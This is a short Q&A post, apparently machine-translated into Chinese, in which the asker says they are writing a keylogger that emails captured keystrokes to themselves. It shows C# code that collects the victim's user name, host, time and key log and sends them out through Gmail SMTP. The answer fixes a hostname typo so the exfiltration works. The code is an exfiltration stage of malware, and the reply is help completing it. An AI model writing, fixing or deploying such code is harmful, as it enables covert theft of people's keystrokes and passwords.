系统smtp异常

System smtp Exception

我正在开发将密钥发送到我的电子邮件的密钥记录器,我 运行 遇到了问题。我正在使用 visual studio C#,当我 运行 程序时,出现异常 "System.Net.Mail.SmtpException: 'Failure sending mail.'" 这个问题有解决办法吗? 这是我的代码:

    ... emailBody += "\nUser: " + Environment.UserDomainName + " \ " + Environment.UserName;
        emailBody += "\nhost " + host;
        emailBody += "\ntime: " + now.ToString();
        emailBody += logContents;

        SmtpClient client = new SmtpClient("smpt.gmail.com", 587);
        MailMessage mailMessage = new MailMessage();

        mailMessage.From = new MailAddress("email address");
        mailMessage.To.Add("email address");
        mailMessage.Subject = subject;
        client.UseDefaultCredentials = false;
        client.EnableSsl = true;
        client.Credentials = new System.Net.NetworkCredential("my email address", "my password");
        mailMessage.Body = emailBody;

        client.Send(mailMessage);

用于 SMTP 事务的主机错误。您需要将其修改为smtp.gmail.com,而不是smpt